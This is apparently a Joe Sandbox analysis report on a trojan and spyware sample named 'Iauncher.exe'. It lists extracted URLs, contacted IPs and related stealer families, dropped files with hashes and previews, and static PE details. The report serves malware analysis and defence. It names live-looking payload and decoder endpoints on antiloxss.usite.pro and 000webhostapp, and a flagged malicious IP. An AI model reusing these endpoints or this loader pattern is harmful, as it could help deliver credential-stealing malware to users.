http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id1Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://antiloxss.usite.pro/STLprograms/NEW/LM19AR/Gitgo2/BuildLink.txtd	Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false		high
https://communitykeyv1.000webhostapp.com/Decoder4.php?string=	Iauncher.exe	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.adp/1.0/	RegAsm.exe, 0000000D.00000002.1436552204.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id11	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://antiloxss.usite.pro/STLprograms/NEW/hwid.txtd	Iauncher.exe, 00000000.00000002.3676644672.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id16Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id14	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id15	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id16	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id18	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id5Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id19	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	RegAsm.exe, 0000000D.00000002.1436621457.0000000002431000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gitgo.orgd	Iauncher.exe, 00000000.00000002.3676644672.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	RegAsm.exe, 0000000D.00000002.1436621457.00000000024D7000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
147.45.47.65	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
193.109.246.100	antiloxss.usite.pro	Virgin Islands (BRITISH)	204343	COMPUBYTE-ASRU	false
172.67.202.98	gitgo.org	United States	13335	CLOUDFLARENETUS	false
172.253.122.101	google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1434866
Start date and time:	2024-05-01 20:34:53 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Iauncher.exe
Detection:	MAL
Classification:	mal96.troj.spyw.evad.winEXE@6/7@3/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 231 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Iauncher.exe

Simulations

Behavior and APIs

Time	Type	Description
20:35:43	API Interceptor	8751389x Sleep call for process: Iauncher.exe modified
20:36:01	API Interceptor	17x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.109.246.100	Undetections.exe	Get hash	malicious	Vidar	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMPUBYTE-ASRU	Undetections.exe	Get hash	malicious	Vidar	Browse	193.109.246.100
	T4IoJqcAwY.exe	Get hash	malicious	Nymaim, SmokeLoader, Zealer Stealer, onlyLogger	Browse	193.109.246.62
	https://www.minstroy.saratov.gov.ru/communication/blog/admin-blg/1.php?pagen=12	Get hash	malicious	Unknown	Browse	193.109.247.233
	njw.exe	Get hash	malicious	Unknown	Browse	193.109.247.229
CLOUDFLARENETUS	tZvjMg3Hw9.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	172.67.151.19
	Sean Eichler.htm	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://www.canva.com/design/DAGEAa4PcvI/o5lifZGBI-4kJErApUzUSw/view?utm_content=DAGEAa4PcvI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.103.112
	[V2]launcher.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	104.21.73.118
	https://www.canva.com/design/DAGEAa4PcvI/o5lifZGBI-4kJErApUzUSw/view?utm_content=DAGEAa4PcvI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://2625819278.org/MIg2p2	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://2625819278.org/MIg2p2	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:c2e8c3b1-63be-4a97-a3b9-a21649a6fcff	Get hash	malicious	Remcos	Browse	172.66.0.163
	https://2625819278.org/MIg2p2	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://info.allproscales.com/e/1068402/v8lfjdMKG7A---MRecipient-Email/zkryx/856161333/h/wDvG5Cmj_LiS5vXP0t8exJUISMeCcNnbTO0v8uSzUVk	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
FREE-NET-ASFREEnetEU	tZvjMg3Hw9.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	193.233.132.226
	2zdult23rz.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175
	fBirvIlaOJ.exe	Get hash	malicious	RedLine	Browse	147.45.47.36
	VOrqSh1Fts.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	193.233.132.234
	WlCIinu0yp.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, Socks5Systemz, Vidar, zgRAT	Browse	147.45.47.93
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.47
	file.exe	Get hash	malicious	LummaC, GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse	147.45.47.93
	http://147.45.47.87	Get hash	malicious	Unknown	Browse	147.45.47.87

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Luminar_v4.0.1.hta	Get hash	malicious	Cobalt Strike, Atlantida Stealer	Browse	172.67.202.98 193.109.246.100
	[V2]launcher.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	172.67.202.98 193.109.246.100
	Hola-Browser-Setup-C-Mmd1.exe	Get hash	malicious	PureLog Stealer, SilentXMRMiner, Xmrig	Browse	172.67.202.98 193.109.246.100
	0ED4nPDjeo.exe	Get hash	malicious	RedLine, SectopRAT	Browse	172.67.202.98 193.109.246.100
	Dy4Oz8C1yF.exe	Get hash	malicious	Quasar	Browse	172.67.202.98 193.109.246.100
	KG8KxoD6n4.exe	Get hash	malicious	Quasar	Browse	172.67.202.98 193.109.246.100
	twkBksZzkc.exe	Get hash	malicious	Quasar	Browse	172.67.202.98 193.109.246.100
	Agreement.docx	Get hash	malicious	Unknown	Browse	172.67.202.98 193.109.246.100
	uF8wwjO0iU.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.202.98 193.109.246.100
	Price List MAYQTRA031244PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.202.98 193.109.246.100

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Thu Oct 5 06:54:36 2023, atime=Wed Sep 27 08:36:54 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.481108946577087
Encrypted:	false
SSDEEP:	48:8SR7dvTgtI0lRYrnvPdAKRkdAGdAKRFdAKRr:8SLcq7
MD5:	8C876C6FF585E5C109E7FD29485E53CC
SHA1:	F2043B06F324B7E120EBF745304FD92AD39F17FD
SHA-256:	E03324A5760227306BEBDFD7A58D1CE895463F42BF95A16A8725A6D82FE656B0
SHA-512:	485F5A2FB4D83879C71560A38A050C9AA1D57D6CA56C4AA0A20A514820337CAA1B404258B067DAFA741281A15E98D9D5C5671C4A76B1792DB2CA78CA36F27CAE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ......,......Y/a....X.&&... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....EW.=..PROGRA~1..t......O.IEW.>....B...............J.......z.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VEW.8....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.8..Chrome..>......CW.VEW.8....M.....................>.i.C.h.r.o.m.e.....`.1.....EW.8..APPLIC~1..H......CW.VEW.8..........................>.i.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.L .chrome.exe..F......CW.VEW.>..........................l...c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\Tmp2498.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\Tmp24A8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Download File

Process:	C:\Users\user\Desktop\Iauncher.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	505344
Entropy (8bit):	7.675139785236683
Encrypted:	false
SSDEEP:	12288:L4J4ZH65jJTA3St/9q8OH0UXHyo1wLnWXT23i5gk5EDuSXRa:E4ZGTtt/Y8cfh1wLn4T23i52B
MD5:	D79977A15EB010C637CF9078B4EB82C8
SHA1:	AE5672620C42C4BA2C2B8BD5B8FB3AD519C252B1
SHA-256:	3F5012D3CFFBD993BFEFEAFC606D343BDC2A2E74B3A01A7DA4F3D31F601FB5DD
SHA-512:	D120A994969376884822DC3C4A1E333F6E99A4367FF95BDCCE726BBAF60E68C055656D553A69D6A9FB59825B7AFA9732AF56E5C43C99A7951895F60C0B607199
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3.LBw.".w.".w."...!.{."...'..."...&.b."...#.t.".w.#..."..N&.e."..N!.c."..N'.:."..M'.v."..M..v."..M .v.".Richw.".........PE..L....v*f...............'. ...........e.......@....@.......................................@.....................................(...................................................................X...@............@..8............................text...\|........................... ..`.bss.........0...................... ..`.rdata.......@.......$..............@..@.data...T...........................@....bsS................................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Iauncher.zip

Download File

Process:	C:\Users\user\Desktop\Iauncher.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	418397
Entropy (8bit):	7.999431817473085
Encrypted:	true
SSDEEP:	12288:vxSs1o7rStD9+8Oz0QXHyo1wLzWXTeJibgk5EDlPIMi:pftDw8Whh1wLz4TeJibiPIMi
MD5:	B8C12D614B71C08CE95A396873943237
SHA1:	773D0890D34B2C2420F7CF4009C03D5041D67DC2
SHA-256:	90FA59DD99A23C733F6E2274A3B64D5DB70A15FD9C5BF3B68AE3EFA984B5D311
SHA-512:	FF07BFF6326131AFBBBA4F71463FEEC6FC38D30C7A987D72A1CC648901CCEBF788FF3B01C92680FE9C14C7C433419AF270B3A78346167A864A35792902DDEA2C
Malicious:	false
Reputation:	low
Preview:	PK...........X{..[.a..........Iauncher.exe..}\|T..8...I.d.]`..Q"...5....p..$Z..bv.......p/.J x....m................< .o.6X..7jx0.@...3ww.`P.y...?.?4{.93s...s..).a3g.8..?].m....}..(.....8.1o.....s......+......}.....)....+.;..\|g........dd.u..p..EEkv..........e..l.......s.Mb03._.....o[...na..lW......j..h...f.K~\|K=......E.4.m.Eu.n.lJ7....6s.),....cC....x..T.;..8. "..p.M..a....{.=37._..q.&....-S9..53.....W.....g.....i.Z....2..M5'.......y.\|...rc.>..M....P.!....~.O.p........l.[..o.....\|.p;.(..s.(p+W....2.4.6..K.f.+..~.-..%...W.+.........=s8.~.......n\|...W.;.._.I_..c......a.k1....S......c..Y...ct+....&.y.^.D .GvS.<.#.;R0.Ao...{.Z.=.\|\|.z.y...$c!..ecp}.d.^>....?j.l............p%....^_..W.....d... ..f..[xN......ikm...p.<...3.".]-.$....U..Z._\|ow[9...HxY...%..)...L.k...X.<..+./EFT...$x.......Jg.:....q.t'..`.4V+..tw..C..~.q......r..W.B]..j2.+..k%.yY..............Z....j[..S? .l...9\d.._....5.....i%$E.Y$.V..j...v:...j.s.5.......P.(p.(..@..x

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.894923776387099
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Iauncher.exe
File size:	732'672 bytes
MD5:	e69feb7fd40f408a088d879be323f37a
SHA1:	0f71fa75df6795c43c69e7ec5689c995c135079e
SHA256:	463dd34a95d86ca5d08059f1ec80d3b00d3bbabdc74936025b7e30ef2b3ee931
SHA512:	6840d2b2e00c47d83298833a99309c22028499fa9f0022ea76f9a91bc73a33e414d2168e941bebbf1191229d2f0f6397dc645dc087f7fdd4c4996a82a733b252
SSDEEP:	12288:klkQRVR3DXMZ6GQ6ov2m+UtbVkGDvAd1si+tS:kdVR3bQUv2gVbAdtu
TLSH:	06F41268C3A84E3AE3A903FCA8720546E7755A167166F70FBE8A70F5001476EE6053DF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...6............."...0.................. ... ....@.. ....................................`................................

File Icon


Icon Hash:	60959501a1964333

Static PE Info

General

Entrypoint:	0x4b1dbe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xACDA9736 [Wed Nov 23 21:25:10 2061 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
